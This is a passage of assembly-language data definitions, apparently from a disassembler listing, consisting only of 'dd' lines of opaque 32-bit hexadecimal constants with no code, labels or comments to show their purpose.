		dd 902A9A34h, 10219307h, 9812CBC7h, 0A65E22DEh,	0F4FBDA22h
		dd 328A45CCh, 0FF20DD48h, 8C926Eh, 0E3B349B0h, 6422E17h
		dd 746640AAh, 7099DC01h, 4417F0F5h, 8C3FEF61h, 0EF001A64h
		dd 88DC308Fh, 172CEBAh,	0D10FD6EDh, 7A3BAFD8h, 0A6B21C20h
		dd 1DF20144h, 0C910DB2Dh, 0CC98841h, 134D04ADh,	496940D9h
		dd 2E477AFh, 841F4F3Dh,	689A300Bh, 7A603CF4h, 720FD8BFh
		dd 0EF11003Fh, 0BE96AF5Ah, 6E4D8102h, 84AE0528h, 0FCA27CF4h
		dd 6A006138h, 5BBE07F1h, 6C245E02h, 0DA0958A9h,	1264C499h
		dd 1698E541h, 0CC64C9FEh, 0AF16DB07h, 830147F7h, 515EA0A8h
		dd 1C22470h, 1F6403Ch, 0A795CE2Eh, 39D87811h, 0FC584E12h
		dd 0B9549780h, 0CC7FB869h, 576D6500h, 798A3ACBh, 1B47B48h
		dd 30EA6405h, 3AB25299h, 0F41EC484h, 0AB8408h, 3EA1B3FDh
		dd 450471D5h, 0F8EE030Eh, 5CBCA980h, 816F36CBh,	0C830E0F8h
		dd 0C5C61871h, 0D512001Ah, 67587A28h, 6A2E5283h, 5D1CE857h
		dd 0A2415640h, 451CDD3h, 0E0E70C6Dh, 4812EA1Bh,	57C5B504h
		dd 0D6F803EEh, 4008C085h, 3C71EDABh, 0C56F290h,	19C20282h
		dd 999A03FFh, 0FACEBCB6h, 8F34EEE0h, 835CB8A0h,	0A82ACB30h
		dd 157EF65h, 9AF82B13h,	0C1B7B0D7h, 2E5A317Dh, 0CE88419h
		dd 8720801h, 3E2F42A0h,	0B788434Ch, 7065E204h, 0C8075F42h
		dd 0E59CDB00h, 10A78F68h, 3E5F2ED4h, 8E0F64BFh,	6BE761E8h
		dd 0DBFBD1ECh, 1110855h, 0FF9F3249h, 3FEA5EC5h,	900544DCh
		dd 4480BA05h, 487DEAE1h, 80B52438h, 5593A832h, 4087EDh
		dd 0C36A423Ch, 8D36A5B7h, 0C00B5B2Eh, 0B22A1503h, 0FF28A95Eh
		dd 0AD9020h, 4846E986h,	98CE9E58h, 1601189Eh, 867E536h
		dd 0B9F3BC40h, 987CF078h, 98AEFAF4h, 625010DCh,	4A90508h
		dd 203C2F9Bh, 485D461Ah, 0F627C134h, 5DC471Ch, 0DF24025Eh
		dd 64D08BAh, 46407CDCh,	48E6565Bh, 0F67F0023h, 81161C8Eh
		dd 22FDC5ACh, 0D69B80FFh, 124C33B5h, 0C60783E0h, 0D3EDD073h
		dd 5D2407A7h, 70CFF379h, 8665AD9Fh, 758070B4h, 0FF2CF032h
		dd 0D5D70421h, 86D6D996h
		dd 5A002196h, 0EABEF04Ah, 0FF69427h, 0CA347808h, 0C1320904h
		dd 91A7F21Ch, 33806C59h, 29FF2BF0h, 0BB6F448Ch,	27F04B00h
		dd 59951B11h, 8B18027Bh, 0DB90CBF9h, 8A4D088h, 30016E89h
		dd 0F60E1B3Dh, 3FCD2461h, 5D3C033Bh, 80029763h,	0E661B3Ch
		dd 0B045A09h, 0ABDEB8ADh, 0CAF02CF2h, 4DD92B09h, 2440D432h
		dd 0AD083437h, 207C00BCh, 371D21D9h, 2D7B4Dh, 1A06B4A4h
		dd 0FEDCD327h, 4CAC98C7h, 330076D4h, 0A584B597h, 328B150Ch
		dd 14B780EDh, 8C9E536Ch, 0DF64AB81h, 80108282h,	0E0C2386Dh
		dd 1B6317Fh, 8366F76Fh,	0D02C350Bh, 0E3006E54h,	159159AFh
		dd 0FD7A3Eh, 0D046F80Fh, 983F55DDh, 0E3004AEEh,	0E99F51F9h
		dd 0D420DFh, 728F77A9h,	668835E0h, 0BC60780Fh, 0ADC8A00Bh
		dd 5A3C55h, 0CD349A59h,	6F956B22h, 0F07FA500h, 9D62CF90h
		dd 2D0B0008h, 0A8682B9Fh, 170D4327h, 384123F5h,	3813D0h
		dd 0D7F4FEB1h, 943AC46Ch, 36F99E00h, 0BCF61CEAh, 0EC60C03Fh
		dd 0D759DA45h, 53736700h, 239BF4EDh, 205A60C0h,	8148A041h
		dd 6454CB00h, 96D4FAB5h, 80761043h, 0D15900ABh,	4F78C9F2h
		dd 311D0085h, 0EB21F857h, 7C007443h, 763A6139h,	0C7FFD8h
		dd 0B5A25EDCh, 0F4934207h, 0DEBB3Eh, 0BD278E4Ch, 0F55FDB7Fh
		dd 0C9A0D080h, 0DFA66336h, 2B309C7Ch, 0F5DE18AFh, 73D80038h
		dd 59C61B99h, 65012C1Dh, 5A330EF9h, 0EAD023A4h,	89CD0031h
		dd 3AAB4903h, 81000A99h, 0F861098Fh, 448117Bh, 0E175FE1Dh
		dd 0CD2E0080h, 1CBD5B65h, 704121Bh, 401413h, 83238F8Eh
		dd 0E6816101h, 1936DD02h, 87DFCE8h, 80F0530Ah, 0C7159501h
		dd 0E7D728BAh, 458167B7h, 8EF41EA4h, 0CD010110h, 0E19CB09Ah
		dd 7CD3DF09h, 8899E088h, 5139E300h, 443447Bh, 1887F082h
		dd 80D1145Bh, 53304C1Ah, 8B811833h, 99E16069h, 65922C06h
		dd 68CA4C32h, 0B94B4374h, 40D402D3h, 7C533D8Eh,	8D0FA060h
		dd 9C33AA09h, 0F15581F2h, 58BA1FE7h, 4BA3C680h,	4C8F836Ah
		dd 18118B31h, 1DFC9D2Bh, 8E1B0FB2h, 0A1032F39h,	1AC1B5E6h
		dd 0B8E43099h, 0A478FA68h, 65670105h, 48025884h, 10D1176Eh
		dd 0F940587Bh, 75561401h, 760CCCB7h, 17E818E9h,	0F0C42A46h
		dd 4DC039BCh, 0F4150390h, 789536D9h, 8C9A31D9h,	0F1FB7968h
		dd 0A0DE1BC0h, 0C4C0A9E1h, 991DB841h, 803E5579h, 4BDAFE2Ch
		dd 0F530CAh, 2142BC01h,	0BE5EE6D5h, 0B8F79900h,	352DA0B1h
		dd 0E129C8DBh, 0AF14B080h, 3C0E9E8Eh, 1E0EA0BDh, 0D209CA9h
		dd 16B5A3C0h, 8D9AAB00h, 6A76F604h, 78F33032h, 3765DD09h
		dd 6CE0F000h, 8C510A4Ch, 8999012Bh, 489263CFh, 0DA9AE082h
		dd 0E9E6BF00h, 1A9C2984h, 0DF993FC9h, 44B0B80h,	31564FC6h
		dd 1F0F8F03h, 87FC2DD8h, 0FE17EB51h, 0FDEBAE4h,	0B5DBB782h
		dd 0D867921h, 0C4DD218Ch, 0DF002B53h, 1CBA4BFh,	3A439Ah
		dd 0A3B4A57h, 0B65405Eh, 0BE022CE6h, 8A5F45FAh,	0F7A081A3h
		dd 4840AAE2h, 0E279FF06h, 0B2C900E4h, 0ED80017Ah, 47005162h
		dd 28BD3336h, 0F90C19h,	0A627FE1Eh, 0FB739737h,	0EA7CF200h
		dd 0FA4E477Bh, 9BED03AAh, 0C3F6E091h, 79BEA000h, 0BB5CFF59h
		dd 3A5607CFh, 8D6F9E83h, 0B58EDC80h, 0DD04F90Eh, 5B51038Fh
		dd 36B1E1E3h, 66DAFCh, 0FC40C2Eh, 0AFC0CBB5h, 37330700h
		dd 94F4DB26h, 7DC50057h, 6FDB705h, 2D009892h, 0CF0B4680h
		dd 0EF4D7Ch, 0C299EDC1h, 5F7AD982h, 3BBD7700h, 0A3F93DF7h
		dd 0F2209057h, 0A27FB4h, 88B12AACh, 74A522B6h, 802BAA3Eh
		dd 0A6BABB85h, 28A376h,	5A6CD5F6h, 6284B3D9h, 67DEF100h
		dd 86BBD655h, 0A8910038h, 0E98E4D4Bh, 7500ACDBh, 818368C3h
		dd 3EEE3F94h, 0A40FBE4Eh, 0D0E01DAEh, 0EC7738E3h, 0F0360400h
		dd 0F54870E4h, 85A30075h, 5C2BFA49h, 0E200011Ch, 4E8CCB5Bh
		dd 7DB90A7Ch, 67360087h, 310B6C68h, 0B30006A9h,	0CDC75CBFh
		dd 3291C1h, 0A0BBB2F8h,	2B95AFC4h, 9DCC2000h, 8BBC101Bh
		dd 0CA1E3F29h, 0BB0D1A86h, 0B1002093h, 0FDDDDE7Fh, 0F1E557h
		dd 0D2C241FBh, 0E9EE54FEh, 0E143F900h, 8EACB263h, 746B047Dh
		dd 8097BD1Eh, 3589C3B3h, 0D7E51D00h, 0DB59A30Ch, 16EC07CFh
		dd 8F312942h, 20F5C387h, 36E1BF25h, 0BE45A500h,	673FB2D1h
		dd 0D00B0197h, 137CC9FEh, 536196h, 853395D0h, 76002979h
		dd 5047C5E0h, 755518h, 3E3A3BDDh, 0C479045Fh, 15772C00h
		dd 0F69596A4h, 5E8A009Ah, 0FD76F103h, 0E47B73A2h, 0E3ACA107h
		dd 6F0046FAh, 3ACD5Eh, 0D181D5AFh, 0EF1ACFD2h, 14A35F1Fh
		dd 0E2C3CE40h, 60FC875Ah, 0D2B0117Fh, 0D0000296h, 0D56B8D51h
		dd 0A0F1C61Fh, 18241B4h, 0A49983DCh, 20E95F2Bh,	0D1FE308Ch
		dd 0DB6B3Eh, 18856041h,	0ECFBA43h, 30CD74E9h, 0B9CC5E40h
		dd 3B003F12h, 0E2481432h, 0C2A1F72h, 9195E1F7h,	0C106D430h
		dd 0B9DF1EE0h, 76443070h, 0F02C28F0h, 0F340C060h, 0EF6CEC9h
		dd 0E913C3F2h, 0B61C34A0h, 6F00E578h, 105C40C2h, 5DECBFh
		dd 0DC6C3E90h, 0FCD9047Fh, 59C9E300h, 4ACF855Ch, 0D18A0093h
		dd 55746352h, 0BC033726h, 0D95822B0h, 0F7C0C4CFh, 0CCF453h
		dd 0DE6A4070h, 0D3B259BAh, 5B7AC107h, 0A89CF2F3h, 6AD5006Fh
		dd 5ADD8B60h, 0CB007B50h, 0E0895E68h, 607A4D59h, 3F7020D3h
		dd 0BD009C1Dh, 0BBB02417h, 910201h, 0A82D14BEh,	222103B9h
		dd 8F6CF312h, 5D344002h, 0C6F200FDh, 0FB005080h, 0DC446DCDh
		dd 380AE97Ch, 7D8F52EBh, 64E107CCh, 87AD8137h, 299E3030h
		dd 334F1940h, 1F3A7E04h, 827E8822h, 3EA3D3DBh, 0F9CBE080h
		dd 2A000A6Eh, 0A742C3D0h, 0F43945A0h, 4BF200D9h, 8CBA8F0Eh
		dd 0EC0022B3h, 34DF70C5h, 510804Ah, 4F4E1E83h, 0FFB800BDh
		dd 7F5079D1h, 0C5C25816h, 5FE06400h, 97FA1Ch, 716A9226h
		dd 47704246h, 9F1C674Ch, 75380BE2h, 0B0840440h,	65A8902Dh
		dd 0E624709Ch, 0AE008CCDh, 75E412C8h, 9424005Ah, 0A2868139h
		dd 3402A607h, 884608B2h, 519C40E5h, 5A640017h, 0CC1E102Ah
		dd 55002EBAh, 29C523B7h, 97FCEBh, 0DDC45ACEh, 8C2A81CDh
		dd 0F3DC350Eh, 11BAE032h, 71981BE7h, 0D25D00BDh, 0B27B5531h
		dd 66744E05h, 0EE5F6E1Ch, 0A400AA96h, 2A27A71Ah, 28360787h
		dd 1C4AA02Fh, 941D1450h, 439C1FBFh, 9B1F885Fh, 6AA67FC0h
		dd 0EC73E9Dh, 874E98ABh, 13B493A2h, 45C4DC68h, 82813400h
		dd 360D9EC8h, 842600A3h, 0F39CBCBFh, 2B0FA233h,	2027A483h
		dd 4B97D353h, 0F24409E3h, 0DE8031D9h, 0EF81C768h, 0E64DDD07h
		dd 46714328h, 0E824BD99h, 0A3C9EC39h, 0ECC1C4D4h, 65CD04DCh
		dd 6F3C18D0h, 3E7D185Dh, 384CF102h, 1882E13Ah, 24803145h
		dd 1DE8343Fh, 16C433Ah,	4D3DA5D6h, 0FFECDC55h, 3ED33C61h
		dd 21119607h, 0D0E1CCB0h, 475CDD00h, 223CDC56h,	7039D8D7h
		dd 0F51FF821h, 5F005E31h, 0D8CBFE47h, 3C38002Fh, 0C34B17FCh
		dd 614DE05h, 1449645h, 1EE86DB7h, 54407C3Bh, 1578ADh, 9FF8C4A8h
		dd 0AD4FF21h, 12096EEEh, 3187F91h, 0AA7BFAE4h, 56A0E0DEh
		dd 0A5A01D7Dh, 3EE47h, 87C78B1h, 0DF0011A9h, 15F0FF1Eh
		dd 73FCE2Fh, 9984C9D2h,	684390F1h, 0FB000D97h, 601058AAh
		dd 3CE4E0Ch, 1E075B3Ch,	0A972C63Ah, 38D639h, 5D0BF5F1h
		dd 50ABAA14h, 88D1C8EEh, 0C4076CDEh, 6B5B1EBDh,	42C0BC4Eh
		dd 47531F93h, 0B848C0A2h, 7BD93CD3h, 0F834AD3Fh, 100363B0h
		dd 91833512h
		dd 0BB700ED4h, 7809244h, 311C0371h, 0B5899FF5h,	95A62D80h
		dd 0E3539Eh, 0D88AFAB4h, 45876C79h, 0D598DE1Bh,	9C30AF91h
		dd 0B069E116h, 1D57B0BEh, 6EEBF11Bh, 4FAE0AFAh,	27F981ECh
		dd 606DCA88h, 95007933h, 3A45047Bh, 3C576F7Dh, 46BC43F4h
		dd 0FACCC2Eh, 2100395Fh, 140BC1E8h, 4B74BC00h, 1EBBD340h
		dd 8E9F3C45h, 0AE304680h, 0B15118F1h, 48862200h, 52CD0D09h
		dd 147A0277h, 0C4B93D53h, 45308481h, 40918059h,	19F74FEAh
		dd 0FFB00479h, 0C0C93574h, 99BA5D4Bh, 8BE26D00h, 3364059Eh
		dd 78A30026h, 5DCE9FC5h, 0FC608180h, 0F5BC1829h, 0D16E03F6h
		dd 0A1779DD6h, 5E6E0870h, 0F5B34020h, 0FAEFF0DAh, 0E2390CAFh
		dd 4258B11Fh, 5DF7FA0Bh, 62700633h, 8720C160h, 87640CC9h
		dd 0AC5DF840h, 0B545C641h, 0F3DA1180h, 0ED33B73Ch, 3B621B0Ch
		dd 0C0DC08DDh, 3CEB7421h, 0B53C0795h, 43E28136h, 0FBED15DAh
		dd 600B12DCh, 2EE580ACh, 78C17527h, 0A5C7FA6Dh,	2FB91882h
		dd 15007A6Fh, 83997F13h, 0F1618806h, 10A653h, 5054594Dh
		dd 0E35DCDD5h, 808C243Dh, 0CCE635BEh, 0E45E8Fh,	7578AC7Fh
		dd 5368ADEAh, 0FBD2D400h, 92BDE310h, 795BB8C6h,	1D78F9h
		dd 0F8C22270h, 453B9815h, 550AF400h, 0DCB1FF4Bh, 6EAE3A4Eh
		dd 0AC823D8Eh, 94E9EB20h, 0F6009E34h, 55F850A0h, 0FFFF430h
		dd 0D122D5Dh, 960370Eh,	2B35244Ah, 0BE0431D0h, 835C840Dh
		dd 6C7A2010h, 0ABE73100h, 9DD1F224h, 0FC7F25h, 40844679h
		dd 418E3D3Ah, 2969AB32h, 9F461010h, 0CD093489h,	100C1264h
		dd 0A8899B4Bh, 63443208h, 4FF144F8h, 849C9444h,	2262BC22h
		dd 95F6F054h, 0AE087089h, 5032F820h, 44672840h,	8D88E497h
		dd 41CC00CEh, 51DCE6E1h, 0C603D872h, 0CDE3EB43h, 0D0C34Eh
		dd 9568EC20h, 87B023A1h, 9E00157Eh, 0B32AA699h,	7FCFFD6Eh
		dd 527F3994h, 77D39004h, 849380B6h, 4E0087D7h, 859EDCD5h
		dd 20DF6Dh, 72B8248Ch, 0CFE791B9h, 5CEA3B2Dh, 0FF1600BEh
		dd 0AC8F5144h, 0ED91F00h, 1075F584h, 0A2710381h, 79C43913h
		dd 3F9E3FE9h, 34DDFE0h,	0AD7E9BACh, 0BCF84418h,	1B00D484h
		dd 7959F635h, 0CD8037h,	5263AA54h, 5FCE44B9h, 0A8007FF8h
		dd 0B6F94715h, 608B5711h, 1AC2706Bh, 0B012942h,	51E2B404h
		dd 0E2603A5Bh, 0D0FE0E2Dh, 15433B22h, 6C831FBh,	910024F2h
		dd 3C1F579h, 319BAF9h, 0EEADCF49h, 0E688406Fh, 6C01536Eh
		dd 5E3E6AECh, 0E88029D9h, 0B2CD720Fh, 4EFA6EC8h, 97BFDD17h
		dd 0E18B100h, 3BD957h, 1C382291h, 0EEFB4B0Ah, 6F2E4D00h
		dd 0F121D261h, 0A1060094h, 0FF05D7EFh, 7716A067h, 4B043C15h
		dd 70904E2Eh, 0DE040Ah,	0AB25828Ch, 6BD94AA6h, 8081A23Dh
		dd 0F80EDC1Ch, 1F432A85h, 5A5F73h, 21CA2458h, 0A300C791h
		dd 0E7B7D80Ah, 95943h, 26740E4Bh, 0F03AA617h, 0A8041A00h
		dd 95D7A934h, 0E1C204EAh, 803384B4h, 0FF7035B0h, 0FC43C928h
		dd 8955170Ah, 2D00B4D7h, 0FDCE08BEh, 0FA0F02Bh,	0B342928Eh
		dd 0BDE90200h, 0B4002A49h, 2C41E3C1h, 0E40705h,	0DD9A640h
		dd 4C27840Fh, 0AEC79A03h, 99FE79ADh, 1DD02A2Dh,	6F789Bh
		dd 2732CF44h, 914B01A7h, 0A36D8800h, 0E90C9F5Fh, 82840063h
		dd 0B96ED13Bh, 0C803502Dh, 1F4FE8F9h, 0CE98D18Eh, 3DF0EEFCh
		dd 0F180189Ah, 0BB114056h, 0EC0F6F3Ch, 0E065C6C5h, 79B09C58h
		dd 56B30098h, 0D4CCD877h, 5505366Ch, 902D3BA9h,	874C2A80h
		dd 24250E85h, 0D880399Bh, 0AF2384CFh, 77188800h, 4D80C0D6h
		dd 0E3DB005Fh, 1F9867E5h, 6101FC6Eh, 37B37917h,	68014AEh
		dd 99034C3Bh, 64077BDCh, 6E75DAD3h, 400ADB32h, 186E72Ch
		dd 3FB26FF9h, 30650196h, 8D04BCFCh, 1E0E2258h, 5E5A0C80h
		dd 46700063h, 565FF3D7h, 6A0F6168h, 0E6F2D64Ch,	75206055h
		dd 0CB7003Bh, 21BD7D81h, 0BB009397h, 26828A1Fh,	38919D28h
		dd 4A80AEDAh, 7E56DCCFh, 700F0B16h, 0E0D5C51Bh,	6A2AECFAh
		dd 0F140FCBh, 4D0BE0F1h, 709BAF07h, 1DCC216Eh, 0A47851h
		dd 6CE0C794h, 6D754513h, 501E1042h, 21266083h, 57B624E9h
		dd 274C096Fh, 0FF1D9400h, 7B20FEDCh, 91460016h,	0C8056C8Dh
		dd 74722E4Eh, 0B553F800h, 8BDDC05Eh, 2C5C9067h,	930407E4h
		dd 3A4C40DFh, 3017952Fh, 0A4481C0Ah, 0F900A815h, 3D1DBE59h
		dd 637F011Eh, 66CB91C5h, 0E66420DBh, 0FB923A05h, 0F2004575h
		dd 7B177A5Bh, 1ECB0063h, 9F34F671h, 6A133E4Fh, 1009FD31h
		dd 0C3B0A74h, 0B8009513h, 45C793C1h, 86D12810h,	1BE003F8h
		dd 98B3112h, 1CA1A780h,	5D622400h, 0B00B3E43h, 77B1039Fh
		dd 32549A0Fh, 0D39BCFA8h, 3E6F1B1Dh, 403049h, 0B8738FC0h
		dd 0A09A96h, 0B6E1979Ch, 9D728390h, 798A9907h, 674292B4h
		dd 3A906062h, 0C9600078h, 0C65B68A9h, 0CFEA793Ch, 0EC879F00h
		dd 116E450Ah, 6B9B0086h, 8824DF0Fh, 400B827h, 731FCC93h
		dd 5EAF970h, 0C34983B9h, 0E5EBC0DDh, 82004277h,	0DCEEA3FCh
		dd 0B86AB83Ah, 311007Dh, 48B3B16Bh, 0B628C1EBh,	0F41EAC72h
		dd 23807470h, 4E4F5E6Fh, 0C8B3506Ah, 0B142008Fh, 943D7072h
		dd 9F000ED1h, 23D20B3Ch, 4F127h, 4853D4E1h, 0F8B7C4E6h
		dd 0EA001898h, 0A96A9232h, 3ED88Ch, 0AB6CEE9Fh,	48B259D2h
		dd 0A003490h, 0E3DE5020h, 68D8E6h, 0A1B9846Bh, 0CA18B645h
		dd 4DD56E03h, 0A199D9DFh, 0EB5A7Fh, 7BB99338h, 6E0F8A59h
		dd 0A7242E1Ch, 504ECC0h, 6022E87Dh, 0C4D328CFh,	0D10E4E5Ah
		dd 0C1F4A656h, 13732BBEh, 24A14C60h, 124893F1h,	638C0319h
		dd 0BCA01ADCh, 0C0085FFh, 0BE20B727h, 0E4E3A1h,	0B1845953h
		dd 30F45D01h, 639DA60Fh, 7D01BC8Ah, 7552C9EDh, 389471C8h
		dd 21E07943h, 0BBE41342h, 140488D3h, 0B641F072h, 20778359h
		dd 5E2461C4h, 4C00C3F2h, 0B84268E4h, 48E900E0h,	0EB1190C1h
		dd 3A0435BEh, 6E5F9ED0h, 0A84188C0h, 992C0055h,	3BBA15B5h
		dd 4F00EEF6h, 0CA7E8A5Bh, 0EC850A6Bh, 575C00E2h, 0EBE0F5A2h
		dd 0C2076574h, 410C3828h, 85F4B6F0h, 80E00EAh, 614321EFh
		dd 9B289C8Eh, 8D07C390h, 0C8C47114h, 5B8E156h, 1DB72B44h
		dd 6E20D036h, 4A74662Fh, 973B8CE0h, 214CC77h, 5621CB87h
		dd 948480A7h, 130FCDD0h, 65AD31h, 73F2981Ch, 970E4F30h
		dd 0F3C81AEFh, 81901040h, 18989F88h, 40A128DEh,	0C90C825Fh
		dd 793A2526h, 10153B3Ch, 7AE88E80h, 92398B72h, 34FC0DEAh
		dd 88068174h, 697FFD4h,	53F4A090h, 5F930E4h, 0B04EC480h
		dd 0E29B6D10h, 7D0A1548h, 3CC721Eh, 9735FB85h, 5D449000h
		dd 0E4BA0BA4h, 1EBC796Ch, 0C0910AB4h, 7051CB6Fh, 8D028655h
		dd 0C276C5B1h, 0C8ECE371h, 48590721h, 670228C4h, 0D2451448h
		dd 0AF2F7400h, 309FE8A8h, 5190041Ch, 340083CDh,	822C3A0h
		dd 127B39DBh, 0E9438EAh, 35602B08h, 9FB30577h, 341DC507h
		dd 0D9901AE2h, 7DC1F73Ah, 0BE7F00EDh, 9807CC86h, 0D03A1B0h
		dd 0BFC8C984h, 10E9F894h, 34090018h, 0AD4F1DFCh, 2A00F4E3h
		dd 1E9D171Fh, 0F563E85h, 9EE16412h, 0F83B4BE0h,	0A8717795h
		dd 988B8700h, 18FAB811h, 9A2B1EEBh, 0AC454790h,	312CF08Ah
		dd 0A174261Dh, 9B44E500h, 94A5E0EAh, 8428007Bh,	988A724Fh
		dd 81587997h, 0E6007D2Eh, 7AF4AF33h, 20C8743h, 0FEAD1DD3h
		dd 0CE604270h, 20C735D2h, 0C090A9DFh, 51F1B5h, 47E02BACh
		dd 5AF6B6C3h, 0DE29B400h
		dd 0BD6A3A66h, 0C6DC6AC9h, 16F171Bh, 1CA8D188h,	3F706476h
		dd 8C717D2Eh, 8024C089h, 95DDA128h, 1E2FCD6h, 17E46D12h
		dd 0E07A7B5Eh, 0BD0753EBh, 0D2B0B435h, 0CEA1802Fh, 483C766Eh
		dd 7400BFF8h, 216C86Ah,	272EEB78h, 0D300E823h, 95F4A72Ch
		dd 8E4A8F0h, 5A341FDFh,	0FC1C80A0h, 3C422989h, 1A021307h
		dd 2B409439h, 75C5A6Bh,	7E86669h, 4B097065h, 32603BDBh
		dd 5C2F5558h, 0DA0E3ED0h, 204A5F9Ah, 512989C0h,	2031FB00h
		dd 0CA0C9145h, 0AA7209F9h, 0BC8F491Ch, 0AD4C00B3h, 0AB398A82h
		dd 0FBDA3507h, 13939185h, 0EC280297h, 3EBF88CDh, 2BDC5468h
		dd 47008DEEh, 0A61A1681h, 795298CFh, 0FD3B0017h, 6C3F65DBh
		dd 0DA5D4CA0h, 161903C0h, 0F899A322h, 723F6F9h,	30CDFF02h
		dd 6D211229h, 36000870h, 5F3F8B73h, 70A8EDAAh, 962800F9h
		dd 12DB40C8h, 0E139ECFh, 8000DDB7h, 0CC698490h,	5FC8F7CEh
		dd 3C3903C3h, 0AB80ACB3h, 0A4401B82h, 8F03B155h, 302E280Eh
		dd 0DF228095h, 0EBA40351h, 0E2B61F29h, 928AD83Fh, 0AF078E9Dh
		dd 3A8088B7h, 1969C9Bh,	838BAC41h, 0D09A9932h, 0D50176A0h
		dd 0DF598ED0h, 8930E6C8h, 5C7300D3h, 5AE0C6E7h,	47008A57h
		dd 983575B1h, 2CB059Ah,	5FA9CC2Fh, 0F4685EF2h, 5004C596h
		dd 0C8E1AF8Ah, 0BB370CC1h, 61C020h, 3FFD644Ah, 0CCF71550h
		dd 5EDAE39h, 0F1428755h, 0C19BFC00h, 9DA5A9h, 0B1832606h
		dd 3AD74B0Bh, 0F4EC6400h, 5C72E251h, 0F74F070Ch, 4043F2B8h
		dd 60741AB4h, 5610C600h, 0AB98C3ADh, 1DD0008Dh,	0F2545CEAh
		dd 590403FBh, 0A3BB34F0h, 885265C1h, 0E872DCh, 39C5711Ch
		dd 33C2D39Eh, 37ACF20Fh, 0A4EAAAEBh, 87CBB16h, 8F0640CFh
		dd 0C340C6DCh, 0E6D65C77h, 607B7Eh, 91242A3Ah, 350BCD8Dh
		dd 309BD00h, 0E3A93D25h, 70D7F84h, 0C5F8CF63h, 0FED0B061h
		dd 0BB1F0FDFh, 823BA4AAh, 8AEE2AD4h, 0B248402Dh, 67770010h
		dd 6DF42EB1h, 21C3B5DDh, 0A8251C0Eh, 0E514BCh, 875315BAh
		dd 0BFB1A801h, 56261E00h, 8A51E805h, 0A4EE72C3h, 4B7600F0h
		dd 38645377h, 3AE4A4D2h, 0D5667300h, 469851B6h,	32718BCh
		dd 9094206Dh, 7C009C90h, 0CB3DD7DFh, 17B039A3h,	0F0AC93AEh
		dd 84037F41h, 0ECED3C5h, 9B1CF0DFh, 19AF1DB4h, 12003C9Ch
		dd 1FAA1EE8h, 2300D994h, 0B33BAD35h, 0AFDB78h, 2B6657CFh
		dd 5362CD50h, 29B2C200h, 77F2960Eh, 0A6870016h,	4A90011Dh
		dd 6CF48D2Ah, 12827D05h, 0C9C036D4h, 934B6Eh, 46B7E7F5h
		dd 20640FFBh, 96C19E00h, 18039A3Ch, 0C2991E3Fh,	0F3BC09h
		dd 0B301AD3h, 67683697h, 0F8CB2500h, 0EEEB4345h, 3D6000D0h
		dd 0A5F3737Fh, 2270CAD9h, 46F68600h, 9F34BEC7h,	0F76001A6h
		dd 0D35076Ch, 241AEC0Ah, 37AB0B00h, 6396B5A5h, 56610077h
		dd 952AB3C1h, 5F2E46C3h, 0D8800C3Fh, 697CBBC9h,	5AD20093h
		dd 0D76367B1h, 22271F09h, 0BDBC2085h, 60EBB2h, 7497AF47h
		dd 2F842478h, 78895280h, 1B8F3A3Bh, 0EBB007Ah, 37620C03h
		dd 22E42EBCh, 0A75B1D09h, 3ED0803Ch, 0E0F23Fh, 90320AD2h
		dd 0DBE641CBh, 66DF1B00h, 0ADBB101Ch, 34B272h, 0DCB286D2h
		dd 857DBD0h, 0EEA07C90h, 0D70A4569h, 0D95865F5h, 0E0B0DC0Fh
		dd 4202128Ah, 45190066h, 5059E3A2h, 0B7000454h,	0C8F39316h
		dd 1E4AA0Ah, 0E5171511h, 0E2E08ED8h, 8B070240h,	0D46FD4F5h
		dd 183F6C00h, 7F12A3B6h, 775D004Fh, 462C96C3h, 8300E303h
		dd 1D26B486h, 19431Ah, 0EF2D5E80h, 8FFE2EFDh, 7EBD41Eh
		dd 4B29A000h, 2CE9D9FBh, 3447C01h, 91262765h, 0D02F7DF1h
		dd 0F6EA0E55h, 0A19BE07h, 0F3DF35FDh, 50BD7004h, 0C34334C0h
		dd 0B32B0067h, 5B536B0Ah, 0CD015F0Fh, 8E293344h, 16CCAB9Dh
		dd 0C5560512h, 90708ADDh, 0CDD16708h, 0BBA92105h, 0A0000B72h
		dd 854A2CAEh, 8A6300B0h, 9D5D17DBh, 0F9005ECFh,	865755E9h
		dd 58EF7675h, 4801000Fh, 2FF613C9h, 0C41C2596h,	29006EF1h
		dd 0FCC30E57h, 7B5927A9h, 90EC00D5h, 9CF49945h,	3D481855h
		dd 0DC14519Fh, 2C044094h, 342D3606h, 33D9C0C0h,	840900A2h
		dd 479A388h, 0E3EA1375h, 4AE0A409h, 5E6CC012h, 37078C1h
		dd 36649C67h, 885A964Eh, 0E1DE003Ah, 0D41F9E16h, 908D4707h
		dd 809BD1A0h, 214C0E7Ah, 9F53DEh, 3BDAB2CCh, 11003A0Ah
		dd 0A1570FBEh, 0C7EFE3h, 804F8E53h, 794E3286h, 62B0CB00h
		dd 6A4584EAh, 0AC6348BCh, 8B1B6E00h, 0A48815E1h, 8F544C00h
		dd 0C8E55A0Dh, 2A2600F5h, 0FE3073DFh, 0C7009C2Dh, 0B385DDF8h
		dd 0FA351AFDh, 997C00E7h, 63F1E52h, 560004FBh, 6305E5F3h
		dd 0F264BAh, 2B355AB7h,	53E9A793h, 3E28E200h, 0AF6DEDB4h
		dd 0D4EB0026h, 0DF4EC439h, 2500FEF9h, 3675C690h, 748897h
		dd 6F84ABA1h, 0D468B39Eh, 571ACA02h, 0A0F2C2E6h, 4942C9C4h
		dd 626500C5h, 4C0DCC50h, 6F71C732h, 0EA95100h, 90060884h
		dd 0E5C2059Ch, 0CAE47Fh, 0EADCDAD8h, 0B100F7E6h, 0DDE08C59h
		dd 51B3AEDBh, 0B5F8C4A7h, 383CB962h, 5708C544h,	26E6F14Ch
		dd 91D00E4Bh, 74B35E40h, 9F033E6Eh, 0B85D9290h,	0E0368A87h
		dd 0A47F4Ch, 72D4D96Ah,	0E2C4EB65h, 0D7D87505h,	0C6806877h
		dd 17535E7Ch, 0B55B7Eh,	0B9B6AC3Ch, 72165DD0h, 0C847F6E1h
		dd 8001EE4Bh, 0E82953FEh, 0AE270500h, 295715FBh, 0A8786B00h
		dd 796A6290h, 216E00B5h, 0FD1F7E45h, 57019C1Eh,	0BCE6492Dh
		dd 0E8403E6Fh, 49960504h, 3D00B003h, 1DD88EDBh,	0A31730BAh
		dd 0D800F7C2h, 78BCF9D3h, 0C60630F8h, 0A75338EAh, 0C7BB3900h
		dd 284AAA17h, 6BFC079Ch, 548071A8h, 42D8C07Ch, 1400B662h
		dd 58D58C52h, 1FC367h, 26667725h, 8602FA19h, 6109EC00h
